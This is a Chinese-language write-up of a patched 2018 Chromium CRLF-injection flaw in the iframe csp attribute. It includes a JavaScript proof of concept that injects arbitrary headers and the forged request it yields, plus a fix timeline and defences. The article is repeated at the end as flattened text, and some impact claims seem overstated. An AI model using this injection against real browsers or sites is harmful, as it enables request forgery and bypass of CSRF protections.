通过CRLF注入在Chromium中构造任意的请求头部
字数 1241 2025-08-29 08:32:18

Chromium CRLF注入漏洞分析与利用

漏洞概述

本文详细分析Chromium浏览器中的一个安全漏洞(CVE-2018-xxxx),该漏洞允许攻击者通过CRLF注入技术在跨域请求中设置任意HTTP头部。该漏洞由安全研究人员在2018年发现并报告,影响当时版本的Chromium浏览器。

漏洞背景

CRLF注入简介

CRLF(Carriage Return Line Feed)注入是一种Web安全漏洞,攻击者通过注入特殊字符(\r\n)来控制HTTP请求或响应的头部或主体。在HTTP协议中,\r\n用于分隔头部字段和请求主体。

漏洞发现

研究人员在iframe元素的csp属性中发现了一个可利用点,该属性本应用于指定内容安全策略(CSP),但由于缺乏适当的输入过滤,导致了CRLF注入的可能性。

技术细节

iframe的csp属性机制

当为iframe元素设置src属性时,浏览器会生成包含Sec-Required-CSP头部的HTTP请求:

GET / HTTP/1.1
Host: www.google.com
upgrade-insecure-requests: 1
sec-required-csp: script-src google.com
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-encoding: gzip, deflate, br
accept-language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
cookie: [...]

Sec-Required-CSP头部用于要求嵌入的内容符合特定的CSP策略,如果不符合,页面将不会被渲染。

漏洞利用方法

通过构造特殊的csp属性值,可以注入CRLF字符并添加任意HTTP头部:

<!doctype html>
<meta charset=utf-8>
<script>
const ifr = document.createElement('iframe');
ifr.src = 'http://bntk.pl/';
ifr.csp = 'script-src**\r\nX-CSRF-Token: 1234\r\nUser-Agent: Firefox\r\nCookie: abc\r\nHost: absolutely-random-host.google**';
document.body.appendChild(ifr);
</script>

这将生成如下恶意请求:

GET / HTTP/1.1
Host: absolutely-random-host.google
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Required-CSP: script-src
X-CSRF-Token: 1234
User-Agent: Firefox
Cookie: abc
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7

可注入的敏感头部

攻击者可以注入多种敏感HTTP头部,包括但不限于:

  • X-CSRF-Token:绕过CSRF保护
  • User-Agent:伪装请求来源
  • Cookie:设置任意cookie
  • Host:修改请求目标主机
  • Referer:伪造来源页面

漏洞危害

  1. CSRF保护绕过:通过注入有效的X-CSRF-Token头部,绕过网站的CSRF保护机制。
  2. 会话劫持:通过注入Cookie头部,劫持其他用户的会话。
  3. 请求伪造:修改Host头部,将请求重定向到攻击者控制的服务器。
  4. 安全机制绕过:许多安全措施(如CORS、CSRF保护等)依赖HTTP头部进行验证,可被此漏洞绕过。

防御措施

浏览器厂商修复

Chromium团队在收到报告后迅速修复了该漏洞:

  • 5月23日:报告漏洞
  • 5月25日:修复漏洞
  • 6月06日:稳定版Chrome发布修复
  • 6月20日:披露漏洞详情

修复方法包括对csp属性值进行严格的输入验证,过滤CRLF特殊字符。

Web开发者防护

  1. 服务器端验证:不依赖客户端提供的HTTP头部进行安全决策。
  2. 严格的CSP策略:实施严格的内容安全策略,限制iframe的使用。
  3. 输入过滤:对所有用户提供的输入进行CRLF字符过滤。
  4. HTTPS强制使用:使用HSTS策略强制HTTPS连接。

总结

该漏洞展示了即使在现代浏览器中,简单的输入验证缺失也可能导致严重的安全问题。通过iframe的csp属性实现CRLF注入,攻击者能够完全控制HTTP请求头部,绕过多种安全机制。浏览器厂商和Web开发者都应从中吸取教训,加强对用户输入的验证和过滤。

Chromium CRLF注入漏洞分析与利用 漏洞概述 本文详细分析Chromium浏览器中的一个安全漏洞(CVE-2018-xxxx),该漏洞允许攻击者通过CRLF注入技术在跨域请求中设置任意HTTP头部。该漏洞由安全研究人员在2018年发现并报告,影响当时版本的Chromium浏览器。 漏洞背景 CRLF注入简介 CRLF(Carriage Return Line Feed)注入是一种Web安全漏洞,攻击者通过注入特殊字符( \r\n )来控制HTTP请求或响应的头部或主体。在HTTP协议中, \r\n 用于分隔头部字段和请求主体。 漏洞发现 研究人员在iframe元素的 csp 属性中发现了一个可利用点,该属性本应用于指定内容安全策略(CSP),但由于缺乏适当的输入过滤,导致了CRLF注入的可能性。 技术细节 iframe的csp属性机制 当为iframe元素设置 src 属性时,浏览器会生成包含 Sec-Required-CSP 头部的HTTP请求: Sec-Required-CSP 头部用于要求嵌入的内容符合特定的CSP策略,如果不符合,页面将不会被渲染。 漏洞利用方法 通过构造特殊的 csp 属性值,可以注入CRLF字符并添加任意HTTP头部: 这将生成如下恶意请求: 可注入的敏感头部 攻击者可以注入多种敏感HTTP头部,包括但不限于: X-CSRF-Token :绕过CSRF保护 User-Agent :伪装请求来源 Cookie :设置任意cookie Host :修改请求目标主机 Referer :伪造来源页面 漏洞危害 CSRF保护绕过 :通过注入有效的 X-CSRF-Token 头部,绕过网站的CSRF保护机制。 会话劫持 :通过注入 Cookie 头部,劫持其他用户的会话。 请求伪造 :修改 Host 头部,将请求重定向到攻击者控制的服务器。 安全机制绕过 :许多安全措施(如CORS、CSRF保护等)依赖HTTP头部进行验证,可被此漏洞绕过。 防御措施 浏览器厂商修复 Chromium团队在收到报告后迅速修复了该漏洞: 5月23日:报告漏洞 5月25日:修复漏洞 6月06日:稳定版Chrome发布修复 6月20日:披露漏洞详情 修复方法包括对 csp 属性值进行严格的输入验证,过滤CRLF特殊字符。 Web开发者防护 服务器端验证 :不依赖客户端提供的HTTP头部进行安全决策。 严格的CSP策略 :实施严格的内容安全策略,限制iframe的使用。 输入过滤 :对所有用户提供的输入进行CRLF字符过滤。 HTTPS强制使用 :使用HSTS策略强制HTTPS连接。 总结 该漏洞展示了即使在现代浏览器中,简单的输入验证缺失也可能导致严重的安全问题。通过iframe的 csp 属性实现CRLF注入,攻击者能够完全控制HTTP请求头部,绕过多种安全机制。浏览器厂商和Web开发者都应从中吸取教训,加强对用户输入的验证和过滤。